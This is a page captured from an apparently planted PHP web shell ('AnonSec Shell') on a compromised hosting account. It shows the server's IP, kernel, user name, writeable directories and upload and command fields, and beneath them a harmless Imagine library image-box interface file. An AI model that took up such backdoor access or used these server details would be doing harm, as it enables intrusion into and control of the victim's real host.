AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nimes/libraries/CBLib/Imagine/Image/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nimes/libraries/CBLib/Imagine/Image/BoxInterface.php
<?php

/*
 * This file is part of the Imagine package.
 *
 * (c) Bulat Shakirzyanov <mallluhuct@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Imagine\Image;

/**
 * Interface for a box.
 */
interface BoxInterface
{
    /**
     * Gets box height.
     *
     * @return int
     */
    public function getHeight();

    /**
     * Gets box width.
     *
     * @return int
     */
    public function getWidth();

    /**
     * Creates new BoxInterface instance with ratios applied to both sides.
     *
     * @param float $ratio
     *
     * @return static
     */
    public function scale($ratio);

    /**
     * Creates new BoxInterface, adding given size to both sides.
     *
     * @param int $size
     *
     * @return static
     */
    public function increase($size);

    /**
     * Checks whether current box can fit given box at a given start position,
     * start position defaults to top left corner xy(0,0).
     *
     * @param \Imagine\Image\BoxInterface $box
     * @param \Imagine\Image\PointInterface $start
     *
     * @return bool
     */
    public function contains(BoxInterface $box, PointInterface $start = null);

    /**
     * Gets current box square, useful for getting total number of pixels in a
     * given box.
     *
     * @return int
     */
    public function square();

    /**
     * Returns a string representation of the current box.
     *
     * @return string
     */
    public function __toString();

    /**
     * Resizes box to given width, constraining proportions and returns the new box.
     *
     * @param int $width
     *
     * @return static
     */
    public function widen($width);

    /**
     * Resizes box to given height, constraining proportions and returns the new box.
     *
     * @param int $height
     *
     * @return static
     */
    public function heighten($height);
}

Anon7 - 2022
AnonSec Team